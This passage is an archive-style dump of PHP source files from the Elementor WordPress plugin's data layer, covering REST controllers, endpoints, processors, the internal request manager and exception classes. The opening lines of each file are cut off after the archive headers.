[ 'namespace' => $this->get_namespace(), 'controller' => $controller_route, 'routes' => $server->get_data_for_routes( $endpoints ), ]; $response = rest_ensure_response( $data ); // Link to the root index. $response->add_link( 'up', rest_url( '/' ) ); return $response; } /** * Get processors. * * @param string $command * * @return \Elementor\Data\Base\Processor[] */ public function get_processors( $command ) { $result = []; if ( isset( $this->processors[ $command ] ) ) { $result = $this->processors[ $command ]; } return $result; } public function get_items( $request ) { return $this->get_controller_index(); } /** * Creates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function create_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Updates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function update_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Delete multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function delete_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Register endpoints. */ abstract public function register_endpoints(); /** * Register processors. */ public function register_processors() { } /** * Register internal endpoints. */ protected function register_internal_endpoints() { register_rest_route( $this->get_namespace(), '/' . $this->get_rest_base(), [ [ 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'args' => [], 'permission_callback' => function ( $request ) { return $this->get_permission_callback( $request ); }, ], ] ); } /** * Register endpoint. * * @param string $endpoint_class * * @return \Elementor\Data\Base\Endpoint */ protected function register_endpoint( $endpoint_class ) { $endpoint_instance = new $endpoint_class( $this ); // TODO: Validate instance like in register_sub_endpoint(). $endpoint_route = $this->get_name() . '/' . $endpoint_instance->get_name(); $this->endpoints[ $endpoint_route ] = $endpoint_instance; $command = $endpoint_route; $format = $endpoint_instance::get_format(); if ( $command ) { $format = $command . '/' . $format; } else { $format = $format . $command; } // `$e.data.registerFormat()`. Manager::instance()->register_endpoint_format( $command, $format ); return $endpoint_instance; } /** * Register a processor. * * That will be later attached to the endpoint class. * * @param string $processor_class * * @return \Elementor\Data\Base\Processor $processor_instance */ protected function register_processor( $processor_class ) { $processor_instance = new $processor_class( $this ); // TODO: Validate processor instance. $command = $processor_instance->get_command(); if ( ! isset( $this->processors[ $command ] ) ) { $this->processors[ $command ] = []; } $this->processors[ $command ] [] = $processor_instance; return $processor_instance; } /** * Register. * * Endpoints & processors. */ protected function register() { $this->register_internal_endpoints(); $this->register_endpoints(); // Aka hooks. $this->register_processors(); } /** * Retrieves a recursive collection of all endpoint(s), items. * * Get items recursive, will run overall endpoints of the current controller. * For each endpoint it will run `$endpoint->getItems( $request ) // the $request passed in get_items_recursive`. * Will skip $skip_endpoints endpoint(s). * * Example, scenario: * Controller 'test-controller'. * Controller endpoints: 'endpoint1', 'endpoint2'. * Endpoint2 get_items method: `get_items() { return 'test' }`. * Call `Controller.get_items_recursive( ['endpoint1'] )`, result: [ 'endpoint2' => 'test' ]; * * @param array $skip_endpoints * * @return array */ public function get_items_recursive( $skip_endpoints = [] ) { $response = []; foreach ( $this->endpoints as $endpoint ) { // Skip self. if ( in_array( $endpoint, $skip_endpoints, true ) ) { continue; } $response[ $endpoint->get_name() ] = $endpoint->get_items( null ); } return $response; } /** * Get permission callback. * * Default controller permission callback. * By default endpoint will inherit the permission callback from the controller. * By default permission is `current_user_can( 'administrator' );`. * * @param \WP_REST_Request $request * * @return bool */ public function get_permission_callback( $request ) { // The function is public since endpoint need to access it. switch ( $request->get_method() ) { case 'GET': case 'POST': case 'UPDATE': case 'PUT': case 'DELETE': case 'PATCH': return current_user_can( 'administrator' ); } return false; } private static $notify_deprecated = true; private function deprecated() { add_action( 'elementor/init', function () { if ( ! self::$notify_deprecated ) { return; } Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( 'Elementor\Data\Manager', '3.5.0', 'Elementor\Data\V2\Manager' ); self::$notify_deprecated = false; } ); } } data/base/sub-endpoint.php000064400000001361147206604650011522 0ustar00parent_endpoint = $parent_endpoint; $this->parent_route = $parent_route; parent::__construct( $this->parent_endpoint->controller ); } /** * Get parent route. * * @return \Elementor\Data\Base\Endpoint */ public function get_parent() { return $this->parent_endpoint; } public function get_base_route() { $controller_name = $this->controller->get_name(); return $controller_name . '/' . $this->parent_route . $this->get_name(); } } data/manager.php000064400000022274147206604650007621 0ustar00controllers; } private function get_cache( $key ) { return self::get_items( $this->cache, $key ); } private function set_cache( $key, $value ) { $this->cache[ $key ] = $value; } /** * Register controller. * * @param string $controller_class_name * * @return \Elementor\Data\Base\Controller */ public function register_controller( $controller_class_name ) { $controller_instance = new $controller_class_name(); return $this->register_controller_instance( $controller_instance ); } /** * Register controller instance. * * @param \Elementor\Data\Base\Controller $controller_instance * * @return \Elementor\Data\Base\Controller */ public function register_controller_instance( $controller_instance ) { // TODO: Validate instance. $this->controllers[ $controller_instance->get_name() ] = $controller_instance; return $controller_instance; } /** * Register endpoint format. * * @param string $command * @param string $format * */ public function register_endpoint_format( $command, $format ) { $this->command_formats[ $command ] = rtrim( $format, '/' ); } public function register_rest_error_handler() { if ( ! $this->is_internal() ) { $logger_manager = \Elementor\Core\Logger\Manager::instance(); $logger_manager->register_error_handler(); } } /** * Find controller instance. * * By given command name. * * @param string $command * * @return false|\Elementor\Data\Base\Controller */ public function find_controller_instance( $command ) { $command_parts = explode( '/', $command ); $assumed_command_parts = []; foreach ( $command_parts as $command_part ) { $assumed_command_parts [] = $command_part; foreach ( $this->controllers as $controller_name => $controller ) { $assumed_command = implode( '/', $assumed_command_parts ); if ( $assumed_command === $controller_name ) { return $controller; } } } return false; } /** * Command extract args. * * @param string $command * @param array $args * * @return \stdClass */ public function command_extract_args( $command, $args = [] ) { $result = new \stdClass(); $result->command = $command; $result->args = $args; if ( false !== strpos( $command, '?' ) ) { $command_parts = explode( '?', $command ); $pure_command = $command_parts[0]; $query_string = $command_parts[1]; parse_str( $query_string, $temp ); $result->command = rtrim( $pure_command, '/' ); $result->args = array_merge( $args, $temp ); } return $result; } /** * Command to endpoint. * * Format is required otherwise $command will returned. * * @param string $command * @param string $format * @param array $args * * @return string endpoint */ public function command_to_endpoint( $command, $format, $args ) { $endpoint = $command; if ( $format ) { $formatted = $format; array_walk( $args, function ( $val, $key ) use ( &$formatted ) { $formatted = str_replace( '{' . $key . '}', $val, $formatted ); } ); // Remove remaining format if not requested via `$args`. if ( strstr( $formatted, '/{' ) ) { /** * Example: * $command = 'example/documents'; * $format = 'example/documents/{document_id}/elements/{element_id}'; * $formatted = 'example/documents/1618/elements/{element_id}'; * Result: * $formatted = 'example/documents/1618/elements'; */ $formatted = substr( $formatted, 0, strpos( $formatted, '/{' ) ); } $endpoint = $formatted; } return $endpoint; } /** * Run server. * * Init WordPress reset api. * * @return \WP_REST_Server */ public function run_server() { /** * If run_server() called means, that rest api is simulated from the backend. */ $this->is_internal = true; if ( ! $this->server ) { // Remove all 'rest_api_init' actions. remove_all_actions( 'rest_api_init' ); // Call custom reset api loader. do_action( 'elementor_rest_api_before_init' ); $this->server = rest_get_server(); // Init API. } return $this->server; } /** * Kill server. * * Free server and controllers. */ public function kill_server() { global $wp_rest_server; $this->controllers = []; $this->command_formats = []; $this->server = false; $this->is_internal = false; $this->cache = []; $wp_rest_server = false; } /** * Run processor. * * @param \Elementor\Data\Base\Processor $processor * @param array $data * * @return mixed */ public function run_processor( $processor, $data ) { if ( call_user_func_array( [ $processor, 'get_conditions' ], $data ) ) { return call_user_func_array( [ $processor, 'apply' ], $data ); } return null; } /** * Run processors. * * Filter them by class. * * @param \Elementor\Data\Base\Processor[] $processors * @param string $filter_by_class * @param array $data * * @return false|array */ public function run_processors( $processors, $filter_by_class, $data ) { foreach ( $processors as $processor ) { if ( $processor instanceof $filter_by_class ) { if ( Processor\Before::class === $filter_by_class ) { $this->run_processor( $processor, $data ); } elseif ( Processor\After::class === $filter_by_class ) { $result = $this->run_processor( $processor, $data ); if ( $result ) { $data[1] = $result; } } else { // TODO: error break; } } } return isset( $data[1] ) ? $data[1] : false; } /** * Run request. * * Simulate rest API from within the backend. * Use args as query. * * @param string $endpoint * @param array $args * @param string $method * * @return \WP_REST_Response */ private function run_request( $endpoint, $args, $method ) { $this->run_server(); $endpoint = '/' . self::ROOT_NAMESPACE . '/v' . self::VERSION . '/' . $endpoint; // Run reset api. $request = new \WP_REST_Request( $method, $endpoint ); if ( 'GET' === $method ) { $request->set_query_params( $args ); } else { $request->set_body_params( $args ); } return rest_do_request( $request ); } /** * Run endpoint. * * Wrapper for `$this->run_request` return `$response->getData()` instead of `$response`. * * @param string $endpoint * @param array $args * @param string $method * * @return array */ public function run_endpoint( $endpoint, $args = [], $method = 'GET' ) { $response = $this->run_request( $endpoint, $args, $method ); return $response->get_data(); } /** * Run ( simulated reset api ). * * Do: * Init reset server. * Run before processors. * Run command as reset api endpoint from internal. * Run after processors. * * @param string $command * @param array $args * @param string $method * * @return array|false processed result */ public function run( $command, $args = [], $method = 'GET' ) { $key = crc32( $command . '-' . wp_json_encode( $args ) . '-' . $method ); $cache = $this->get_cache( $key ); if ( $cache ) { return $cache; } $this->run_server(); $controller_instance = $this->find_controller_instance( $command ); if ( ! $controller_instance ) { $this->set_cache( $key, [] ); return []; } $extracted_command = $this->command_extract_args( $command, $args ); $command = $extracted_command->command; $args = $extracted_command->args; $format = isset( $this->command_formats[ $command ] ) ? $this->command_formats[ $command ] : false; $command_processors = $controller_instance->get_processors( $command ); $endpoint = $this->command_to_endpoint( $command, $format, $args ); $this->run_processors( $command_processors, Processor\Before::class, [ $args ] ); $response = $this->run_request( $endpoint, $args, $method ); $result = $response->get_data(); if ( $response->is_error() ) { $this->set_cache( $key, [] ); return []; } $result = $this->run_processors( $command_processors, Processor\After::class, [ $args, $result ] ); $this->set_cache( $key, $result ); return $result; } public function is_internal() { return $this->is_internal; } } data/v2/base/endpoint/index.php000064400000003172147206604650012373 0ustar00controller->get_full_name()}/{id}"; } public function get_public_name() { return ''; } public function get_items( $request ) { return $this->controller->get_items( $request ); } public function get_item( $id, $request ) { return $this->controller->get_item( $request ); } public function create_items( $request ) { return $this->controller->create_items( $request ); } public function create_item( $id, $request ) { return $this->controller->create_item( $request ); } public function update_items( $request ) { return $this->controller->update_items( $request ); } public function update_item( $id, $request ) { return $this->controller->update_item( $request ); } public function delete_items( $request ) { return $this->controller->delete_items( $request ); } public function delete_item( $id, $request ) { return $this->controller->delete_item( $request ); } public function register_items_route( $methods = WP_REST_Server::READABLE, $args = [] ) { parent::register_items_route( $methods, array_merge( $this->controller->get_items_args( $methods ), $args ) ); } public function register_item_route( $methods = WP_REST_Server::READABLE, $args = [], $route = '/' ) { parent::register_item_route( $methods, array_merge( $this->controller->get_item_args( $methods ), $args ), $route ); } } data/v2/base/endpoint/index/all-children.php000064400000003570147206604650014733 0ustar00controller->get_name() . '/index'; } /* * Retrieves a result(s) of all controller endpoint(s), items. * * Run overall endpoints of the current controller. * * Example, scenario: * 'settings' - controller * 'settings/products' - endpoint * 'settings/partners' - endpoint * Result: * [ * 'products' => [ * 0 => ... * 1 => ... * ], * 'partners' => [ * 0 => ... * 1 => ... * ], * ] */ public function get_items( $request ) { $response = []; foreach ( $this->controller->get_sub_controllers() as $controller ) { $controller_route = $this->get_controller()->get_base_route() . '/' . $controller->get_name(); $result = Manager::instance()->run_request( $controller_route ); if ( ! $result->is_error() ) { $response[ $controller->get_name() ] = $result->get_data(); } } foreach ( $this->controller->endpoints as $endpoint ) { // Skip self. if ( $endpoint === $this ) { continue; } $result = Manager::instance()->run_request( $endpoint->get_base_route() ); if ( ! $result->is_error() ) { $response[ $endpoint->get_name() ] = $result->get_data(); } } return $response; } } data/v2/base/endpoint/index/sub-index-endpoint.php000064400000002740147206604650016107 0ustar00controller->get_parent()->get_name() . '/{id}/' . $this->controller->get_name() . '/{sub_id}'; } public function get_base_route() { $parent_controller = $this->controller->get_parent(); $parent_index_endpoint = $parent_controller->index_endpoint; $parent_controller_route = ''; // In case `$parent_index_endpoint` is AllChildren, it cannot support id_arg_name. if ( ! $parent_index_endpoint instanceof AllChildren ) { $parent_controller_route = "(?P<{$parent_index_endpoint->id_arg_name}>[\w]+)"; } return untrailingslashit('/' . implode( '/', array_filter( [ trim( $parent_index_endpoint->get_base_route(), '/' ), $parent_controller_route, $this->controller->get_name(), $this->get_public_name(), ] ) ) ); } } data/v2/base/endpoint.php000064400000005741147206604650011270 0ustar00controller; } /** * Get current parent. * * @return \Elementor\Data\V2\Base\Controller|\Elementor\Data\V2\Base\Endpoint */ public function get_parent() { return $this->parent; } /** * Get public name. * * @return string */ public function get_public_name() { return $this->get_name(); } /** * Get full command name ( including index ). * * @return string */ public function get_full_command() { $parent = $this->get_parent(); if ( $parent instanceof Controller ) { return $this->controller->get_full_name() . '/' . $this->get_name(); } return $this->get_name_ancestry(); } /** * Get name ancestry format, example: 'alpha/beta/delta'. * * @return string */ public function get_name_ancestry() { $ancestors = $this->get_ancestors(); $ancestors_names = []; foreach ( $ancestors as $ancestor ) { $ancestors_names [] = $ancestor->get_name(); } return implode( '/', $ancestors_names ); } /** * Register sub endpoint. * * @param \Elementor\Data\V2\Base\Endpoint $endpoint * * @return \Elementor\Data\V2\Base\Endpoint */ public function register_sub_endpoint( Endpoint $endpoint ) { $command = $endpoint->get_full_command(); $format = $endpoint->get_format(); $this->sub_endpoints[ $command ] = $endpoint; Manager::instance()->register_endpoint_format( $command, $format ); return $endpoint; } /** * Get ancestors. * * @return \Elementor\Data\V2\Base\Endpoint[] */ private function get_ancestors() { $ancestors = []; $current = $this; do { if ( $current ) { $ancestors [] = $current; } $current = $current->get_parent(); } while ( $current ); return array_reverse( $ancestors ); } /** * Endpoint constructor. * * @param \Elementor\Data\V2\Base\Controller|\Elementor\Data\V2\Base\Endpoint $parent * @param string $route */ public function __construct( $parent, $route = '/' ) { $controller = $parent; $this->parent = $parent; // In case, its behave like sub-endpoint. if ( ! ( $parent instanceof Controller ) ) { $controller = $parent->get_controller(); } parent::__construct( $controller, $route ); } } data/v2/base/processor.php000064400000001547147206604650011467 0ustar00controller = $controller; } } data/v2/base/base-route.php000064400000024422147206604650011513 0ustar00 '/' * 'abc' => '/abc/' * '/abc' => '/abc/' * 'abc/' => '/abc/' * '/abc/' => '/abc/' * * @param string $route * * @return string */ private function ensure_slashes( $route ) { if ( '/' !== $route[0] ) { $route = '/' . $route; } return trailingslashit( $route ); } /** * Get base route. * This method should always return the base route starts with '/' and ends without '/'. * * @return string */ public function get_base_route() { $name = $this->get_public_name(); $parent = $this->get_parent(); $parent_base = $parent->get_base_route(); $route = '/'; if ( ! ( $parent instanceof Controller ) ) { $route = $parent->item_route ? $parent->item_route['route'] . '/' : $this->route; } return untrailingslashit( '/' . trim( $parent_base . $route . $name, '/' ) ); } /** * Get permission callback. * * By default get permission callback from the controller. * * @param \WP_REST_Request $request Full data about the request. * * @return boolean */ public function get_permission_callback( $request ) { return $this->controller->get_permission_callback( $request ); } /** * Retrieves a collection of items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function get_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Retrieves one item from the collection. * * @param string $id * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function get_item( $id, $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Creates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function create_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Creates one item. * * @param string $id id of request item. * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function create_item( $id, $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Updates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function update_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Updates one item. * * @param string $id id of request item. * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function update_item( $id, $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Delete multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function delete_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Delete one item. * * @param string $id id of request item. * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ protected function delete_item( $id, $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Register the endpoint. * * By default: register get items route. */ protected function register() { $this->register_items_route(); } protected function register_route( $route = '', $methods = WP_REST_Server::READABLE, $args = [] ) { if ( ! in_array( $methods, self::AVAILABLE_METHODS, true ) ) { trigger_error( "Invalid method: '$methods'.", E_USER_ERROR ); // phpcs:ignore } $route = $this->get_base_route() . $route; $this->routes [] = [ 'args' => $args, 'route' => $route, ]; /** * Determine behaviour of `base_callback()` and `get_permission_callback()`: * For `base_callback()` which applying the action. * Whether it's a one item request and should call `get_item_permission_callback()` or it's mutil items request and should call `get_items_permission_callback()`. */ $is_multi = ! empty( $args['is_multi'] ); if ( $is_multi ) { unset( $args['is_multi'] ); } $callback = function ( $request ) use ( $methods, $args, $is_multi ) { return $this->base_callback( $methods, $request, $is_multi ); }; return register_rest_route( $this->controller->get_namespace(), $route, [ [ 'args' => $args, 'methods' => $methods, 'callback' => $callback, 'permission_callback' => function ( $request ) { return $this->get_permission_callback( $request ); }, ], ] ); } /** * Register items route. * * @param string $methods * @param array $args */ public function register_items_route( $methods = WP_REST_Server::READABLE, $args = [] ) { $args['is_multi'] = true; $this->register_route( '', $methods, $args ); } /** * Register item route. * * @param string $route * @param array $args * @param string $methods */ public function register_item_route( $methods = WP_REST_Server::READABLE, $args = [], $route = '/' ) { if ( ! empty( $args['id_arg_name'] ) ) { $this->id_arg_name = $args['id_arg_name']; unset( $args['id_arg_name'] ); } if ( ! empty( $args['id_arg_type_regex'] ) ) { $this->id_arg_type_regex = $args['id_arg_type_regex']; unset( $args['id_arg_type_regex'] ); } $args = array_merge( [ $this->id_arg_name => [ 'description' => 'Unique identifier for the object.', 'type' => 'string', 'required' => true, ], ], $args ); $route .= '(?P<' . $this->id_arg_name . '>' . $this->id_arg_type_regex . ')'; $this->item_route = [ 'args' => $args, 'route' => $route, ]; $this->register_route( $route, $methods, $args ); } /** * Base callback. * All reset requests from the client should pass this function. * * @param string $methods * @param \WP_REST_Request $request * @param bool $is_multi * @param array $args * * @return mixed|\WP_Error|\WP_HTTP_Response|\WP_REST_Response */ public function base_callback( $methods, $request, $is_multi = false, $args = [] ) { if ( $request ) { $json_params = $request->get_json_params(); if ( $json_params ) { $request->set_body_params( $json_params ); } } $args = wp_parse_args( $args, [ 'is_debug' => ( defined( 'WP_DEBUG' ) && WP_DEBUG ), ] ); $result = new \WP_Error( 'invalid_methods', 'route not supported.' ); $request->set_param( 'is_multi', $is_multi ); try { switch ( $methods ) { case WP_REST_Server::READABLE: $result = $is_multi ? $this->get_items( $request ) : $this->get_item( $request->get_param( 'id' ), $request ); break; case WP_REST_Server::CREATABLE: $result = $is_multi ? $this->create_items( $request ) : $this->create_item( $request->get_param( 'id' ), $request ); break; case WP_REST_Server::EDITABLE: $result = $is_multi ? $this->update_items( $request ) : $this->update_item( $request->get_param( 'id' ), $request ); break; case WP_REST_Server::DELETABLE: $result = $is_multi ? $this->delete_items( $request ) : $this->delete_item( $request->get_param( 'id' ), $request ); break; } } catch ( Data_Exception $e ) { $result = $e->to_wp_error(); } catch ( \Exception $e ) { if ( empty( $args['is_debug'] ) ) { $result = ( new Error_500() )->to_wp_error(); } else { // For frontend. $exception_mapping = [ 'trace' => $e->getTrace(), 'file' => $e->getFile(), 'line' => $e->getLine(), ]; $e->debug = $exception_mapping; $result = ( new Data_Exception( $e->getMessage(), $e->getCode(), $e ) )->to_wp_error(); } } return rest_ensure_response( $result ); } /** * Constructor. * * run `$this->register()`. * * @param \Elementor\Data\V2\Base\Controller $controller * @param string $route */ protected function __construct( Controller $controller, $route ) { $this->controller = $controller; $this->route = $this->ensure_slashes( $route ); $this->register(); } } data/v2/base/processor/after.php000064400000001041147206604650012555 0ustar00parent ) { return $this->get_name(); } return $this->parent->get_name() . '/' . $this->get_name(); } /** * Get controller namespace. * * @return string */ public function get_namespace() { return $this->namespace; } /** * Get controller reset base. * * @return string */ public function get_base_route() { if ( ! $this->parent ) { return $this->rest_base; } return $this->parent->get_base_route() . '/' . $this->get_name(); } /** * Get controller route. * * @return string */ public function get_controller_route() { return $this->get_namespace() . '/' . $this->get_base_route(); } /** * Retrieves rest route(s) index for current controller. * * @return \WP_REST_Response|\WP_Error */ public function get_controller_index() { $server = rest_get_server(); $routes = $server->get_routes(); $endpoints = array_intersect_key( $server->get_routes(), $routes ); $controller_route = $this->get_controller_route(); array_walk( $endpoints, function ( &$item, $endpoint ) use ( &$endpoints, $controller_route ) { if ( ! strstr( $endpoint, $controller_route ) ) { unset( $endpoints[ $endpoint ] ); } } ); $data = [ 'namespace' => $this->get_namespace(), 'controller' => $controller_route, 'routes' => $server->get_data_for_routes( $endpoints ), ]; $response = rest_ensure_response( $data ); // Link to the root index. $response->add_link( 'up', rest_url( '/' ) ); return $response; } /** * Get items args of index endpoint. * * Is method is used when `get_collection_params()` is not enough, and need of knowing the methods is required. * * @param string $methods * * @return array */ public function get_items_args( $methods ) { if ( \WP_REST_Server::READABLE === $methods ) { return $this->get_collection_params(); } return []; } /** * Get item args of index endpoint. * * @param string $methods * * @return array */ public function get_item_args( $methods ) { return []; } /** * Get permission callback. * * Default controller permission callback. * By default endpoint will inherit the permission callback from the controller. * * @param \WP_REST_Request $request * * @return bool */ public function get_permission_callback( $request ) { $is_multi = (bool) $request->get_param( 'is_multi' ); $result = false; // The function is public since endpoint need to access it. // Utilize 'WP_REST_Controller' get_permission_check methods. switch ( $request->get_method() ) { case 'GET': $result = $is_multi ? $this->get_items_permissions_check( $request ) : $this->get_item_permissions_check( $request ); break; case 'POST': $result = $is_multi ? $this->create_items_permissions_check( $request ) : $this->create_item_permissions_check( $request ); break; case 'UPDATE': case 'PUT': case 'PATCH': $result = $is_multi ? $this->update_items_permissions_check( $request ) : $this->update_item_permissions_check( $request ); break; case 'DELETE': $result = $is_multi ? $this->delete_items_permissions_check( $request ) : $this->delete_item_permissions_check( $request ); break; } if ( $result instanceof \WP_Error ) { throw new WP_Error_Exception( $result ); } return $result; } /** * Checks if a given request has access to create items. ** * * @param \WP_REST_Request $request Full details about the request. * * @return true|\WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_items_permissions_check( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Checks if a given request has access to update items. * * @param \WP_REST_Request $request Full details about the request. * * @return true|\WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function update_items_permissions_check( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Checks if a given request has access to delete items. * * @param \WP_REST_Request $request Full details about the request. * * @return true|\WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_items_permissions_check( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } public function get_items( $request ) { return $this->get_controller_index(); } /** * Creates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function create_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Updates multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function update_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Delete multiple items. * * @param \WP_REST_Request $request Full data about the request. * * @return \WP_Error|\WP_REST_Response Response object on success, or WP_Error object on failure. */ public function delete_items( $request ) { return new \WP_Error( 'invalid-method', sprintf( "Method '%s' not implemented. Must be overridden in subclass.", __METHOD__ ), [ 'status' => 405 ] ); } /** * Get the parent controller. * * @return \Elementor\Data\V2\Base\Controller|null */ public function get_parent() { return $this->parent; } /** * Get sub controller(s). * * @return \Elementor\Data\V2\Base\Controller[] */ public function get_sub_controllers() { return $this->sub_controllers; } /** * Get processors. * * @param string $command * * @return \Elementor\Data\V2\Base\Processor[] */ public function get_processors( $command ) { $result = []; if ( isset( $this->processors[ $command ] ) ) { $result = $this->processors[ $command ]; } return $result; } /** * Register processors. */ public function register_processors() { } /** * Register index endpoint. */ protected function register_index_endpoint() { if ( ! $this->parent ) { $this->register_endpoint( new Endpoint\Index( $this ) ); return; } $this->register_endpoint( new Endpoint\Index\Sub_Index_Endpoint( $this ) ); } /** * Register endpoint. * * @param \Elementor\Data\V2\Base\Endpoint $endpoint * * @return \Elementor\Data\V2\Base\Endpoint */ protected function register_endpoint( Endpoint $endpoint ) { $command = $endpoint->get_full_command(); if ( $endpoint instanceof Endpoint\Index ) { $this->index_endpoint = $endpoint; } else { $this->endpoints[ $command ] = $endpoint; } $format = $endpoint->get_format(); // `$e.data.registerFormat()`. Manager::instance()->register_endpoint_format( $command, $format ); return $endpoint; } /** * Register a processor. * * That will be later attached to the endpoint class. * * @param Processor $processor * * @return \Elementor\Data\V2\Base\Processor $processor_instance */ protected function register_processor( Processor $processor ) { $command = $processor->get_command(); if ( ! isset( $this->processors[ $command ] ) ) { $this->processors[ $command ] = []; } $this->processors[ $command ] [] = $processor; return $processor; } /** * Register. * * Endpoints & processors. */ protected function register() { $this->register_index_endpoint(); $this->register_endpoints(); // Aka hooks. $this->register_processors(); } /** * Get collection params by 'additionalProperties' context. * * @param string $context * * @return array */ protected function get_collection_params_by_additional_props_context( $context ) { $result = []; $collection_params = $this->get_collection_params(); foreach ( $collection_params as $collection_param_key => $collection_param ) { if ( isset( $collection_param['additionalProperties']['context'] ) && $context === $collection_param['additionalProperties']['context'] ) { $result[ $collection_param_key ] = $collection_param; } } return $result; } /** * When `$this->get_parent_name` is extended, the controller will have a parent, and will know to behave like a sub-controller. * * @param string $parent_name */ private function act_as_sub_controller( $parent_name ) { $this->parent = Manager::instance()->get_controller( $parent_name ); if ( ! $this->parent ) { trigger_error( "Cannot find parent controller: '$parent_name'", E_USER_ERROR ); // phpcs:ignore } $this->parent->sub_controllers [] = $this; } /** * Controller constructor. * * Register endpoints on 'rest_api_init'. */ public function __construct() { $this->namespace = static::get_default_namespace() . '/v' . static::get_default_version(); $this->rest_base = $this->get_name(); add_action( 'rest_api_init', function () { $this->register(); // Because 'register' is protected. } ); /** * Since all actions were removed for custom internal REST server. * Re-add the actions. */ add_action( 'elementor_rest_api_before_init', function () { add_action( 'rest_api_init', function () { $this->register(); } ); } ); $parent_name = $this->get_parent_name(); if ( $parent_name ) { $this->act_as_sub_controller( $parent_name ); } } } data/v2/base/exceptions/error-404.php000064400000000533147206604650013261 0ustar00get_error_message(), $wp_error->get_error_code(), [ 'status' => $wp_error->get_error_code(), ] ); } } data/v2/base/exceptions/data-exception.php000064400000002155147206604650014532 0ustar00 '', 'data' => [], ]; public function get_code() { return 'reset-http-error'; } public function get_message() { return '501 Not Implemented'; } public function get_data() { return [ 'status' => $this->get_http_error_code(), // 'status' is used by WP to pass the http error code. ]; } public function to_wp_error() { return new \WP_Error( $this->custom_data['code'], $this->message, $this->custom_data['data'] ); } protected function get_http_error_code() { return 501; // 501 Not Implemented } protected function apply() {} public function __construct( $message = '', $code = '', $data = [] ) { $this->message = empty( $message ) ? $this->get_message() : $message; $this->custom_data['code'] = empty( $code ) ? $this->get_code() : $code; $this->custom_data['data'] = empty( $data ) ? $this->get_data() : $data; parent::__construct( $this->message, 0, null ); $this->apply(); } } data/v2/base/exceptions/error-500.php000064400000000556147206604650013263 0ustar00controllers; } /** * @param string $name * * @return \Elementor\Data\V2\Base\Controller|false */ public function get_controller( $name ) { if ( isset( $this->controllers[ $name ] ) ) { return $this->controllers[ $name ]; } return false; } private function get_cache( $key ) { return self::get_items( 